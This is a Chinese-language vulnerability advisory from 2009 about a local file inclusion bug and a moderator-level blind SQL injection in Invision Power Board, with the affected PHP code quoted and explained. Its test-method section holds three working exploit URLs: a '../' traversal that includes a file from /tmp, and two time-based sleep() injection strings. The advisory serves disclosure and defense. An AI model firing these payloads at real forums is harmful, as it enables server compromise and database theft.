首页 -> 安全研究
安全研究
安全漏洞
Invision Power Board本地文件包含和SQL注入漏洞
发布日期:2009-12-04
更新日期:2009-12-07
受影响系统:
Invision PS IPB 3.0.4描述:
Invision PS IPB 2.3.6
BUGTRAQ ID: 37208
Invision Power Board是一个非常流行的PHP论坛程序。
远程攻击者可以利用IPB的以下代码包含服务器上任意位置所存储的PHP文件:
line | file: admin/sources/base/ipsController.php
142 |public function getCommand( ipsRegistry $registry )
143 |{
144 | $_NOW = IPSDebug::getMemoryDebugFlag();
145 |
146 | $module = ipsRegistry::$current_module;
147 | $section = ipsRegistry::$current_section;
148 | $filepath = IPSLib::getAppDir( IPS_APP_COMPONENT ) .
'/' . self::$modules_dir . '/' . $module . '/';
149 |
150 | /* Got a section? */
151 | if ( ! $section )
152 | {
153 | if ( file_exists( $filepath .
'defaultSection.php' ) )
154 | {
155 | $DEFAULT_SECTION = '';
156 | require( $filepath .
'defaultSection.php' );
157 |
158 | if ( $DEFAULT_SECTION )
159 | {
160 | $section = $DEFAULT_SECTION;
161 | }
162 | }
163 | }
164 |
165 | $classname = self::$class_dir . '_' .
IPS_APP_COMPONENT . '_' . $module . '_' . $section;
166 |
167 | if ( file_exists( $filepath . 'manualResolver.php' ) )
168 | {
169 | require_once( $filepath . 'manualResolver.php' );
170 | $classname = self::$class_dir . '_' .
IPS_APP_COMPONENT . '_' . $module . '_manualResolver';
171 | }
172 | else if ( file_exists( $filepath . $section . '.php' ) )
173 | {
174 | require_once( $filepath . $section . '.php' );
175 | }
... |
174行的require_once函数使用$section变量创建所要包含的php文件的路径,变量分配了以下值:
line | file: admin/sources/base/ipsRegistry.php
1654 | ipsRegistry::$current_section = ( ipsRegistry::
$request['section'] ) ? ipsRegistry::$request['section'] : '';
这个值来自用户通过GET或POST方式所提供的变量。尽管对整个$request数组执行了过滤,但由于实现friendly URLs功能的函数中的一个bug可以绕过过滤措施。
line | file: admin/sources/base/ipsRegistry.php
1188 | private static function _fUrlInit()
1189 | {
... |
1195 | if ( ipsRegistry::$settings['use_friendly_urls'] )
1196 | {
... |
... |
1235 | $uri = $_SERVER['REQUEST_URI'] ?
$_SERVER['REQUEST_URI'] : @getenv('REQUEST_URI');
1236 |
1237 | $_toTest = $uri; //( $qs ) ? $qs : $uri;
... |
... |
... |
1306 | //-----------------------------------------
1307 | // If using query string furl, extract any
1308 | // secondary query string.
1309 | // Ex: http://localhost/index.php?/path/file.html?
key=value
1310 | // Will pull the key=value properly
1311 | //-----------------------------------------
1312 |
1313 | if( substr_count( $_toTest, '?' ) > 1 )
1314 | {
1315 | $_secondQueryString = substr( $_toTest,
strrpos( $_toTest, '?' ) + 1 );
1316 | $_secondParams = explode( '&',
$_secondQueryString );
1317 |
1318 | if( count($_secondParams) )
1319 | {
1320 | foreach( $_secondParams as $_param )
1321 | {
1322 | list( $k, $v ) = explode( '=', $_param );
1323 |
1324 | $k = IPSText::parseCleanKey( $k );
1325 | $v = IPSText::parseCleanValue( $v );
1326 |
1327 | $_GET[ $k ] = $v;
1328 | $_REQUEST[ $k ] = $v;
1329 | $_urlBits[ $k ] = $v;
1330 |
1331 | ipsRegistry::$request[ $k ] = $v;
1332 | }
1333 | }
1334 | }
1335 | }
... |
上述代码允许从次要查询字符串中检索额外的变量并保存在$request数组和$_GET、$_REQUEST全局变量中。由于从之前没有过滤的全局变量$_SERVER['REQUEST_URI']中直接获取了查询字符串且无法检查数组中是否存在请求URI字符串所提供的变量,也没有调用cleanGlobals函数过滤这些值。可在次要查询字符串中传送section变量绕过对“../”和“%00”序列的过滤,遍历目录包含系统中已有的php文件。
IPB的以下函数中存在SQL注入漏洞:
line | file: admin/applications/forums/sources/classes/moderate.php
1820 | /**
1821 | * Create 'where' clause for SQL forum pruning
1822 | *
1823 | * @access public
1824 | * @return boolean
1825 | */
1826 | public function sqlPruneCreate( $forum_id, $starter_id="",
$topic_state="", $post_min="", $date_exp="", $ignore_pin="" )
1827 | {
1828 | $sql = 'forum_id=' . intval($forum_id);
1829 |
1830 | if ( intval($date_exp) )
1831 | {
1832 | $sql .= " AND last_post < {$date_exp}";
1833 | }
1834 |
1835 | if ( intval($starter_id) )
1836 | {
1837 | $sql .= " AND starter_id={$starter_id}";
1838 |
1839 | }
1840 |
1841 | if ( intval($post_min) )
1842 | {
1843 | $sql .= " AND posts < {$post_min}";
1844 | }
1845 |
1846 | if ($topic_state != 'all')
1847 | {
1848 | if ($topic_state)
1849 | {
1850 | $sql .= " AND state='{$topic_state}'";
1851 | }
1852 | }
1853 |
1854 | if ( $ignore_pin != "" )
1855 | {
1856 | $sql .= " AND pinned=0";
1857 | }
1858 |
1859 |
1860 | return $sql;
1861 | }
所有带有intval()的IF语句都用于确保传送给函数的参数都为数字。由于intval()的运行方式,可通过类似于“1 OR sleep(5)”的字符串来欺骗这个函数。在这种情况下intval()会返回1值以满足IF条件并在查询中放置字符串。代码中两次使用了sqlPruneCreate函数执行一些moderator的任务,其中一个调用位于:
line | file: admin/applications/forums/modules_public/moderate/
moderate.php
2323 | protected function _pruneMove()
2324 | {
2325 | //-----------------------------------------
2326 | // Check
2327 | //-----------------------------------------
2328 |
2329 | $this->_resetModerator( $this->topic['forum_id'] );
2330 |
2331 | $this->_genericPermissionCheck( 'mass_move' );
2332 |
2333 | ///-----------------------------------------
2334 | // SET UP
2335 | //-----------------------------------------
2336 |
2337 | $pergo = intval( $this->request['pergo'] ) ?
intval( $this->request['pergo'] ) : 50;
2338 | $max = intval( $this->request['max'] );
2339 | $current = intval($this->request['current']);
2340 | $maxdone = $pergo + $current;
2341 | $tid_array = array();
2342 | $starter = trim( $this->request['starter'] );
2343 | $state = trim( $this->request['state'] );
2344 | $posts = intval( $this->request['posts'] );
2345 | $dateline = intval( $this->request['dateline'] );
2346 | $source = $this->forum['id'];
2347 | $moveto = intval($this->request['df']);
2348 | $date = 0;
2349 | $ignore_pin = intval( $this->request['ignore_pin'] );
2350 |
2351 | if( $dateline )
2352 | {
2353 | $date = time() - $dateline*60*60*24;
2354 | }
2355 |
2356 | //-----------------------------------------
2357 | // Carry on...
2358 | //-----------------------------------------
2359 |
2360 | $dbPruneWhere = $this->modLibrary->sqlPruneCreate( $this-
>forum['id'], $starter, $state, $posts, $date, $ignore_pin );
2361 |
2362 | $this->DB->build( array(
2363 | 'select' => 'tid',
2364 | 'from' => 'topics',
2365 | 'where' => $dbPruneWhere,
2366 | 'limit' => array( 0, $pergo ),
2367 | ) );
2368 | $batch = $this->DB->execute();
... |
可见来自用户的$starter和$state变量没有转换为数字便传送给了sqlPruneCreate函数,只要第一个字符为数字$starter变量中所传送的字符串就会被放置在查询中,这就允许登录的moderator执行SQL注入攻击。
利用这个漏洞的限制很多:仅有WHERE语句可控,引号会被过滤掉,UNION或子选择也是禁止的。最重要的是查询结果不会在浏览器中输出,因此攻击只能为盲注。
<*来源:Dawid Golunski
链接:http://marc.info/?l=bugtraq&m=125994099831462&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.example.com/forum/index.php?app=core&module=global&section=register/register/page__section__../../../../../../../../../../../../../../../../../../../.././tmp/inc__
http://www.example.com/?app=forums&module=moderate&section=moderate&f=1&do=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(15)%20--%20skip%20&auth_key=c4276b77602767228faa9760eb4a5abd
http://www.example.com/forum/?act=mod&f=1&CODE=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR
%20substr(version(),1,1)=5%20AND%20sleep(16)%20--%20skip%20&auth_key=040c4a6e768d626b4c05a4bb0fbf315c
建议:
厂商补丁:
Invision PS
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.invisionpower.com/
浏览次数:2634
严重程度:0(网友投票)
绿盟科技给您安全的保障